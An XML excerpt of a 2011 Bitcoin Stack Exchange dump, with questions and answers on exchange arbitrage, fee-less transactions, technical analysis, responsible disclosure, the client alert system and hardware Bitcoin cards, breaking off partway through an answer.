  <row Id="569" PostTypeId="1" AcceptedAnswerId="5950" CreationDate="2011-09-04T23:08:16.727" Score="23" ViewCount="8069" Body="&lt;p&gt;I don't know what's the mathematical/economical definition, but I would define &quot;room for arbitrage&quot; as the amount of money that can be extracted from the market by doing arbitrage (between the different exchanges). I am sure there is a precise definition of such a concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, given this definition - how much room for arbitrage do the current Bitcoin markets exhibit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; - see also on Quora - &lt;a href=&quot;http://www.quora.com/How-do-you-measure-arbitrage&quot;&gt;How do you measure arbitrage&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="307" LastEditDate="2011-10-25T19:23:20.250" LastActivityDate="2013-08-16T14:34:42.800" Title="How can one find how much &quot;room for arbitrage&quot; is there in the Bitcoin market?" Tags="|exchanges|trading|arbitrage|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="570" PostTypeId="1" AcceptedAnswerId="2415" CreationDate="2011-09-04T23:24:35.903" Score="18" ViewCount="3441" Body="&lt;p&gt;Suppose we reach a state where only transactions that pay a fee are accepted by miners. Further supposed that someone created a transaction using an old/odd client that allowed them &lt;strong&gt;not&lt;/strong&gt; to send any fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, what would happen to the transaction? Could it be undone? Would the coins be lost forever?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-04T04:38:48.297" Title="Is there a way to undo transactions with a &quot;too low&quot; fee?" Tags="|transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="571" PostTypeId="2" ParentId="570" CreationDate="2011-09-04T23:32:15.783" Score="1" Body="&lt;p&gt;Generally it is assumed that any client at that time will require a fee. As most clients require a fee now unless you start them with the no fee flag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose anyone could write their own client or use a client that has it re-enabled, but that is really on their own head and their best bet then would be to mine until they get a block and add their transaction to the block. That might take a couple years, but hey, they wanted a free transaction.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2011-09-04T23:32:15.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="572" PostTypeId="2" ParentId="570" CreationDate="2011-09-04T23:47:16.430" Score="9" Body="&lt;p&gt;The transaction would have no effect. A transaction that wasn't accepted by the network has no effect on the ability to spend coins. The person whose coins were affected could simply delete that transaction from his own database. There's no need to undo the transaction since it was never committed to the block chain anyway.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-04T23:47:16.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="573" PostTypeId="2" ParentId="569" CreationDate="2011-09-04T23:47:39.783" Score="16" Body="&lt;p&gt;I am not an expert on this, but I will answer from my personal experience from the past couple of months. Here are some things I noticed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;MtGox rules the market. The price there leads and the other exchanges follow. Sometimes TradeHill moves a few decimal points on its own above or below MtGox, but it usually goes back to where it was after a few hours.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The price difference between exchanges with APIs rarely goes above $0.3 (the most common opportunities are around $0.1/BTC). So with the current fees you will earn very little from each trade - note that on smaller exchanges, it is very easy to move prices up and down so you are doing arbitrage with very small trades.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You must be fast. There are already people doing this and the opportunities don't stay up for long. If you are not careful your orders will end up pending.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exchanges without APIs have much more arbitrage opportunities. Bitmarket for example is some times $1 or more off the current MtGox price. Of couse it is also much more time consuming to arbitrage manually.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are days when &lt;strong&gt;nothing&lt;/strong&gt; happens and others when &lt;strong&gt;a lot&lt;/strong&gt; happens. You have to be ready and keep a lot of money on each exchange if you want to catch it all. There are huge volume differences so you should split your money accordingly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am still testing things out, but I don't think that you can make a lot of money out of this. It may be interesting to use it as a complement to other automated trading strategies though.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Just another note:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Moving money/bitcoins around to grab opportunities in exchanges with APIs won't work because of fees (even if small) plus waiting time. You usually have a few minutes to grab opportunities. If you are lucky you can sometimes find an opportunity that lasts a couple of hours, but that happens like once a week.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of this is from personal observations during July/August 2011. Things will of course change and the market will probably become more and more efficient.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-09-05T00:41:11.833" LastActivityDate="2011-09-05T00:41:11.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="574" PostTypeId="2" ParentId="569" CreationDate="2011-09-04T23:50:49.700" Score="5" Body="&lt;p&gt;There are on occasion decent opportunities for arbitrage if you are willing to go through the hassle for a few bucks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two data services that are useful:&#xA;- &lt;a href=&quot;http://nyse-group.de/bitcoin-arbitrage&quot;&gt;http://nyse-group.de/bitcoin-arbitrage&lt;/a&gt;&#xA;- &lt;a href=&quot;http://fnoose.com/bitcoin/arbitrage&quot;&gt;http://fnoose.com/bitcoin/arbitrage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The opportunities are the largest after a sudden move in the price on the leading exchange, Mt. Gox which leaves scraps that can be picked up by performing arbitrage against open orders left on other exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, to do so means you needed to have funds sitting out there on the other exchanges in order to be among the first with access to do those trades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The delays in adding bitcoins (waiting for the transfer to confirm) or in adding funds through other channels (e.g., Dwolla transfer) mean arbitrage opportunities might evaporate as those with the open orders become aware that the market has moved and will cancel their orders.  Eventually, in the range of tens of minutes or hours at most decent arbitrage opportunities that yield a few dollars or more will get attention from a trader performing arbitrage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Bitcoin has so many different currency markets, one service that enables the ability to transfer cash out of the exchanges might be useful: &lt;a href=&quot;http://en.bitcoin.it/wiki/CurrencyFair&quot;&gt;http://en.bitcoin.it/wiki/CurrencyFair&lt;/a&gt; CurrencyFair was reviewed recently here: &lt;a href=&quot;http://www.bitcoinmoney.com/post/7259588518&quot;&gt;http://www.bitcoinmoney.com/post/7259588518&lt;/a&gt; &#xA;and Nyse-Group's arbitrage viewer was reviewed here: &lt;a href=&quot;http://www.bitcoinmoney.com/post/7000316379&quot;&gt;http://www.bitcoinmoney.com/post/7000316379&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ability to move funds to and from exchanges, nonetheless movement between exchanges, was a topic addressed by Rick Falkvinge: &lt;a href=&quot;http://falkvinge.net/2011/06/10/bitcoins-four-hurdles-part-four-exchanges&quot;&gt;http://falkvinge.net/2011/06/10/bitcoins-four-hurdles-part-four-exchanges&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-04T23:50:49.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="575" PostTypeId="2" ParentId="566" CreationDate="2011-09-05T00:38:10.027" Score="10" Body="&lt;p&gt;All these sites display the total block count:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/&quot;&gt;http://blockexplorer.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoincharts.com/&quot;&gt;http://bitcoincharts.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinwatch.com/&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BlockExplorer also has an &lt;a href=&quot;http://blockexplorer.com/q&quot;&gt;API&lt;/a&gt; that among other things lets you get &lt;a href=&quot;http://blockexplorer.com/q/getblockcount&quot;&gt;the latest block count&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user62" LastActivityDate="2011-09-05T00:38:10.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="576" PostTypeId="2" ParentId="460" CreationDate="2011-09-05T06:22:31.473" Score="1" Body="&lt;p&gt;Closest thing I have seen is  Community Accounting  for Drupal&#xA;&lt;a href=&quot;http://drupal.org/project/mutual_credit&quot; rel=&quot;nofollow&quot;&gt;http://drupal.org/project/mutual_credit&lt;/a&gt;&#xA;&quot;An all-embracing and flexible package which includes a mutual credit ledger, super-configurable transaction forms and displays, including several views and blocks. It can be used as a digital back-end for paper money projects, or to run an entire LETS, Timebank, or several in parallel. With a little tweaking, it can manage currencies conforming to a wide range of designs. Autopayments can be done with a little glue code.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other plugin I know of is the one for OpenCart for bit-pay&#xA;&lt;a href=&quot;http://www.opencart.com/index.php?route=extension/extension/info&amp;amp;extension_id=3119&amp;amp;path=20&quot; rel=&quot;nofollow&quot;&gt;http://www.opencart.com/index.php?route=extension/extension/info&amp;amp;extension_id=3119&amp;amp;path=20&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2011-09-06T06:27:56.410" LastActivityDate="2011-09-06T06:27:56.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="577" PostTypeId="2" ParentId="408" CreationDate="2011-09-05T07:43:58.563" Score="4" Body="&lt;p&gt;Hoarding and saving is the same thing. So is having a savings account bad? Save as much as you can, spend what you need to. If you feel bitcoin is too risky, dont invest that much or diversify and sell if your btc becomes too much of your portfolio. Support merchants that use bitcoin whenever possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Deflationary_spiral&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Deflationary_spiral&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2011-09-07T00:23:05.620" LastActivityDate="2011-09-07T00:23:05.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="578" PostTypeId="2" ParentId="408" CreationDate="2011-09-05T07:57:37.353" Score="5" Body="&lt;p&gt;A while back I wrote a &lt;a href=&quot;http://ripper234.com/p/the-bitcoin-early-adapter-problem-and-why-it-isnt/&quot;&gt;short post&lt;/a&gt; about why hoarding (or more exactly &quot;early adopters&quot;) isn't a problem. I'll copy-paste here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin was not designed to be a fair currency, just a more efficient currency than its alternatives. Dollars and Yens aren’t “fair” either.&lt;/li&gt;&#xA;&lt;li&gt;It is not random luck that is rewarded – it is one’s ability to research and arrive at correct conclusions. In this scenario, the people that found out about bitcoin at “an early stage” and made the decsicion to either mine or buy them, are rewarded for a smart technological and economical decision – much like early investors in successful startup companies are rewarded.&lt;/li&gt;&#xA;&lt;li&gt;It is not too late – in this “bitcoin wins” scenario”, the final value of bitcoin will be a few orders of magnitudes higher than its current value. If you’re reading this now and think that “it’s not fair only a few early adapters win”, you can still join us.&lt;/li&gt;&#xA;&lt;li&gt;Perhaps the strongest argument IMO is the economical argument – If bitcoin “wins”, but its wealth remains concentrated in too few hands, it won’t be as useful to the rest of the world because of over-pricing and scarcity. As a result, this will be reflected in bitcoin prices, because the public will not be willing to pay the outrages amounts demanded by the early adopters – in fact, it will make bitcoin “lose a little bit”, or not reach its full potential. In turn, this will motivate said early adopters to sell some of their stash (nobody likes to be on a losing horse), thus moving bitcoin to other parts of the population. Once the market believes this is no longer a problem, the price of bitcoin may rise to its “real” and full value. In shorts, the market will auto-correct any such problem.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-05T07:57:37.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="579" PostTypeId="1" AcceptedAnswerId="584" CreationDate="2011-09-05T08:02:26.080" Score="7" ViewCount="335" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Technical_analysis&quot;&gt;Technical Analysis&lt;/a&gt; is a disputed method for &quot;predicting&quot; future prices. &lt;a href=&quot;http://blog.bitcoinwatch.com/&quot;&gt;This blog&lt;/a&gt; has been offering technical analysis on Bitcoin for quite some time (AFAIK it's the only one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has there been any significant correlation between its predictions (Short/Mid term UP/DOWN) to actual price movements?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2017-07-17T13:35:46.083" Title="Is there a correlation between Technical Analysis predictions and actual prices?" Tags="|trading|technical-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="580" PostTypeId="1" AcceptedAnswerId="582" CreationDate="2011-09-05T08:10:19.533" Score="6" ViewCount="378" Body="&lt;p&gt;I came across this statement from a SolidCoin developer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain this statement? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[06:48] gavinandresen: I came here to ask RealSolid to be responsible&#xA;  and report problems or vulnerabilities to the core bitcoin dev team&#xA;  before releasing code that fixes the exploit (because releasing code&#xA;  tells the hackers what to attack).  RealSolid, I'll ask again:  are&#xA;  you willing to do that?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The user &quot;Gavin&quot; asked RealSolid to first report vulnerabilities and only then fix them, because &quot;releasing code tells the hackers what to attack&quot;. The conversation is archived in &lt;a href=&quot;http://www.incoherentphotography.com/uploads/2011.09.04-07.17.48.txt&quot; rel=&quot;nofollow&quot;&gt;this chat transcript&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="97" LastEditDate="2011-09-07T16:34:51.523" LastActivityDate="2011-09-07T16:34:51.523" Title="What is meant by &quot;releasing code tells the hackers what to attack&quot;?" Tags="|security|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="581" PostTypeId="2" ParentId="176" CreationDate="2011-09-05T08:12:41.807" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.incoherentphotography.com/uploads/2011.09.04-07.17.48.txt&quot; rel=&quot;nofollow&quot;&gt;This chat transcript&lt;/a&gt; has the developers listed as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[06:55] &amp;lt;noagendamarket&amp;gt;     Satoshi Nakamoto&#xA;[06:55] &amp;lt;noagendamarket&amp;gt;     Gavin Andresen - (PGP)&#xA;[06:55] &amp;lt;noagendamarket&amp;gt;     Amir Taaki - (PGP)&#xA;[06:55] &amp;lt;noagendamarket&amp;gt;     Pieter Wuille&#xA;[06:55] &amp;lt;noagendamarket&amp;gt;     Nils Schneider - nils.schneider@gmail.com&#xA;[06:55] &amp;lt;noagendamarket&amp;gt;     Jeff Garzik - jgarzik@exmulti.com (PGP)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-05T08:12:41.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="582" PostTypeId="2" ParentId="580" CreationDate="2011-09-05T08:37:54.127" Score="11" Body="&lt;p&gt;It would appear that Gavin is advising against providing zero-day attack vectors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, if someone gives fairly precise instructions (e.g. a code sample) on how to exploit a vulnerability then anyone monitoring that discussion can exploit it. This is the zero-day exploit because no-one has had time to react, create an appropriate patch and disseminate it widely. Until the patch overtakes the exploit then the affected systems are vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the famous &quot;Java Double of Death&quot; (see &lt;a href=&quot;http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/&lt;/a&gt; for details, Oracle fixed it here &lt;a href=&quot;http://www.exploringbinary.com/fpupdater-fixes-the-java-2-2250738585072012e-308-bug/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.exploringbinary.com/fpupdater-fixes-the-java-2-2250738585072012e-308-bug/&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine if a malicious coder decided to put that magic number into a request against your web API that and exploited the fact that you haven't patched your JVM? You'd be seeing an awful lot of unexplained JDK downtime and lost business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a fair amount of discussion about this topic &lt;a href=&quot;https://security.stackexchange.com/questions/52/how-to-disclose-a-security-vulnerability-in-an-ethical-fashion&quot;&gt;over on Security StackExchange&lt;/a&gt; which references this &lt;a href=&quot;http://en.wikipedia.org/wiki/Responsible_disclosure&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia page about responsible disclosure&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:44.100" LastActivityDate="2011-09-05T08:37:54.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="583" PostTypeId="1" AcceptedAnswerId="590" CreationDate="2011-09-05T10:17:06.277" Score="15" ViewCount="3290" Body="&lt;p&gt;I understand Bitcoin has an alert system. Can someone explain what it is, how does it work, and what was it designed for?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-05T17:51:50.293" Title="What is the Alert system in the bitcoin protocol? How does it work?" Tags="|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="584" PostTypeId="2" ParentId="579" CreationDate="2011-09-05T12:38:00.373" Score="6" Body="&lt;p&gt;If you are talking about Technical Analysis in general, we would need to write a book to answer that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for Technical Analysis applied to Bitcoin, just look at the date when the predictions were made, look at the graphs and compare. During the last couple of months:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;He wrongly predicted a short term rally starting at $14 at the end of July&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He correctly predicted the short term fall to $6 at the beginning of August&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;He has been predicting a long term up trend for two months that hasn't happened yet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Overall, I think his analysis are well documented and based on market indicators that work very well in other markets. However, I am not sure if the Bitcoin market got to the point where Technical Analysis plays an important role for price movements. No one can really tell because this is not an exact science.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-09-05T14:04:46.627" LastActivityDate="2011-09-05T14:04:46.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="585" PostTypeId="2" ParentId="583" CreationDate="2011-09-05T12:50:57.433" Score="1" Body="&lt;p&gt;My understanding is that it can operate as a method for warning people about security breaches. Thereby instructing people to patch/update their client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there are other potential uses for it, but my primary interest is in its use as a warning system.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-09-05T12:50:57.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="587" PostTypeId="1" AcceptedAnswerId="807" CreationDate="2011-09-05T16:14:13.887" Score="31" ViewCount="15210" Body="&lt;p&gt;I am trying to build the current Bitcoin source in Windows 7x64 - Does anyone know of an idiot-proof tutorial? Some of the steps in the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-msw.txt&quot;&gt;included doc&lt;/a&gt; give me errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to tar openssl with msys, I get symlink errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better walk-through?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="5406" LastEditDate="2014-10-03T12:31:42.733" LastActivityDate="2014-10-19T23:06:44.737" Title="How do I build Bitcoin source in Windows 7?" Tags="|development|windows|compiling|bitcoin-qt-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="588" PostTypeId="1" CreationDate="2011-09-05T16:52:32.263" Score="10" ViewCount="835" Body="&lt;p&gt;Bitcoin differs from standard markets in many ways. Some standard market analysis tools are &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/579/is-there-a-correlation-between-technical-analysis-predictions-and-actual-prices/584#584&quot;&gt;inapplicable&lt;/a&gt; due to unique features of Bitcoin. Hence the question&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What methods/tools can used to analyze and predict the Bitcoin market?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It is better if the tools have a proven trackrecord of actually working for predicting the Bitcoin market, but it is unlikely that such examples exist. Therefore, I am perfectly happy with references to the literature on econ/finance tools that should work for the bitcoin market but maybe haven't been applied yet.&lt;/p&gt;&#xA;&lt;h3&gt;Related questions&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/579/46&quot;&gt;Is there a correlation between Technical Analysis predictions and actual prices?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/36/46&quot;&gt;Can bitcoin transaction data be used to study markets?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-09-03T11:35:48.577" Title="What economics/finance methods and tools can be used to analyze and predict the Bitcoin market?" Tags="|economic-theory|finance|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="589" PostTypeId="1" AcceptedAnswerId="591" CreationDate="2011-09-05T17:31:02.137" Score="21" ViewCount="1892" Body="&lt;p&gt;is it possible to create a &lt;em&gt;real hardware&lt;/em&gt; Bitcoin, e.g. a specified (and verifiable) value which is stored on a smart card or RFID which can be given directly to other people?&lt;/p&gt;&#xA;" OwnerUserId="171" LastEditorUserId="2306" LastEditDate="2017-04-25T19:51:16.010" LastActivityDate="2017-04-25T19:51:16.010" Title="Hardware Bitcoins (Smartcards, RFID etc.)" Tags="|hardware-wallet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="590" PostTypeId="2" ParentId="583" CreationDate="2011-09-05T17:51:50.293" Score="10" Body="&lt;p&gt;TL;DR:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As @Alex Waters has stated, it's a centralised alert system to allow&#xA;  people to shutdown their clients in response to a threat to the&#xA;  overall Bitcoin network, pending a client patch to resolve the issue.&#xA;  This was intended as a short term measure to counter-act perceived&#xA;  problems in growing the software.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?PHPSESSID=342a726ec7a810dc9e661a8bdc31a057&amp;amp;topic=2958.msg41070#msg41070&quot; rel=&quot;noreferrer&quot;&gt;This thread on the forum&lt;/a&gt; has some interesting information about it (I've fixed the links to cover the moved forum):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes, it appeared in version 3.11. Here's the thread discussing it:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;Development of alert system&quot;&#xA;  &lt;a href=&quot;https://bitcointalk.org/index.php?topic=898.0;all&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=898.0;all&lt;/a&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;But I think Satoshi took it out of recent builds, to avoid accusations&#xA;  that he was a point of central control (because his key would be used&#xA;  to sign the alert). If I can find the reference to that announcement,&#xA;  I'll post it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;edit: here's the announcement about the removal of &quot;safe mode&quot;. It's&#xA;  not clear to me whether the alert itself was removed, or whether the&#xA;  ability to have the alert shut down transaction processing was&#xA;  removed:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Removed safe mode (0.3.19)&#xA;  &lt;a href=&quot;https://bitcointalk.org/smf/index.php?topic=2228&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/smf/index.php?topic=2228&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Clearly, Satoshi intended it to be a centralised mechanism to issue alerts that would result in clients stopping transactions (not block generation). This would act as an effective mechanism to cause clients to upgrade as a result of a bug, but a naive interpretation is that it is also a good way to shutdown an economy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can build a standard client and replace the key requirement with one of their own, thus negating the efficacy of a system-wide shutdown due to a compromised key. Essentially, this would cause a fragmentation of the standard client as nodes seek to protect themselves from external compromise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi notes this himself in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=898.msg11150#msg11150&quot; rel=&quot;noreferrer&quot;&gt;this comment&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It can't do arbitrary actions remotely.  Maybe some of you are&#xA;  responding to other posters who suggested the alert system should do&#xA;  more?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If there is an alert, the following json-rpc methods return an error:&#xA;  sendtoaddress getbalance getreceivedbyaddress getreceivedbylabel&#xA;  listreceivedbyaddress listreceivedbylabel&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The remaining 14 methods function as normal.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I believe the safer option should be enabled by default.  If you want&#xA;  your server to keep trading and ignore an alert saying the money its&#xA;  receiving might be like the money from the overflow bug, then you can&#xA;  use the switch and not blame anyone else if you lose your money.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Worst case if you leave alerts enabled, your site stops trading until&#xA;  you upgrade or add the -disablesafemode switch.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Getting surprised by some temporary down time when your node would&#xA;  otherwise be at risk is better than getting surprised by a thief&#xA;  draining all your inventory.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Someday when we haven't found any new bugs for a long time and it has&#xA;  been thoroughly security reviewed without finding anything, this can&#xA;  be scaled back.  I'm not arguing that this is the permanent way of&#xA;  things forever.  It's still beta software.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Given the ongoing backlash of misunderstanding over the concept, it appears that it was decided to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=2228.msg29479#msg29479&quot; rel=&quot;noreferrer&quot;&gt;remove the feature&lt;/a&gt; and rely instead on detecting a dodgy blockchain that is longer than the longest valid one:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Removed &quot;safe mode&quot; alerts &quot;safe mode&quot; alerts was a temporary&#xA;  measure after the 0.3.9 overflow bug.  We can say all we want that&#xA;  users can just run with &quot;-disablesafemode&quot;, but it's better just not&#xA;  to have it for the sake of appearances.  It was never intended as a&#xA;  long term feature.  Safe mode can still be triggered by seeing a&#xA;  longer (greater total PoW) invalid block chain.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Builds:&#xA;  &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.3.19/&quot; rel=&quot;noreferrer&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.3.19/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-09-05T17:51:50.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="591" PostTypeId="2" ParentId="589" CreationDate="2011-09-05T18:12:26.817" Score="14" Body="&lt;p&gt;It's certainly possible. The card would basically need four functions: add/generate account, add bitcoins, prove bitcoins, spend bitcoins. The card could piggyback on external smart systems so the card doesn't need to do very much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each function would be implemented as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add Account&lt;/strong&gt;: An ECDSA private key would either be randomly generated by the card or loaded from an external source. The card would add the key to its store of keys. This would be a secure operation that would require the card's internal key to perform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add Bitcoins&lt;/strong&gt;: A list of transaction identifiers and output indexes would be loaded into the card. This would also be a secure operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Prove Bitcoins&lt;/strong&gt;: This operation would prove the ability of the card holder to spend a particular number of Bitcoins. An external device specifies a number of Bitcoins to prove. If desired, approval is sought from the card holder via a PIN or similar mechanism. The card then forms a transaction to pay that number of Bitcoins but damages it so the transaction is invalid (for example, it adds a single transaction input for a billion Bitcoins). Then it signs it. The recipient, seeing the invalid transaction signed 